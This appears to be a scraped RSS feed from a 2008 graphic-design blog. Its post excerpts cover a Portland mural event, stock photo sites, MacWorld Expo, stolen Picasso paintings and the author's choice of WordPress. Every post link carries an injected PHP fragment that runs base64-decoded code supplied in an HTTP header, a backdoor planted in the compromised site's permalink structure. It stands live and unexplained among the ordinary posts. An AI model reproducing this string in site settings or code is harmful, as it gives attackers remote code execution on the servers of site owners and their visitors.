http://www.yourgraphicdesign.com Design and Technology Converge Sat, 28 Jun 2008 18:44:23 +0000 http://backend.userland.com/rss092 en An event at the Olympic Mills Gallery for Sunday June 28. More details here. http://myspace.com/olympicmillsart I plan to get some pictures and a few words from the participants.  I am not one of the artists this time around, but there should be more events like this as Muralists, the City of Portland and ... http://www.yourgraphicdesign.com/2008/06/28/murals-and-music/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Just a quick portal of links to some useful stock photo sites. istockfree.com http://www.yourgraphicdesign.com/2008/01/11/istockfreecom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The MacWorld Expo is coming up next week in San Francisco. There seems to be a pretty good group of events to check out. I will be there to see what is new and great in the mac universe, but I always have a pretty good idea. Some ... http://www.yourgraphicdesign.com/2008/01/11/macworld-expo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ At least they have decent taste. (article here) The big thing that surprises me is the lack of insurance for the work. For paintings worth $55 mil it would be a good idea to cover something. It just is a fair warning to living artists who ... http://www.yourgraphicdesign.com/2008/01/09/thieves-steal-picasso-paintings-recovered/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A time comes when things blow so out of proportion that you can no longer find anything you need. This is what happened to the internet long ago. Not unlike a library, the internet is full of cobwebs and out-dated resources.  As there is always a need to stand out ... http://www.yourgraphicdesign.com/2008/01/07/the-goal-of-a-niche-site/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The question comes up, "Why did you choose to use Wordpress , when you have the ability to create custom sites?" There are a number of reasons I choose to use Wordpress, starting with the biggest being ease of use. I've created a many sites by hand coding, slicing, positioning ... http://www.yourgraphicdesign.com/2008/01/07/why-wordpress/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/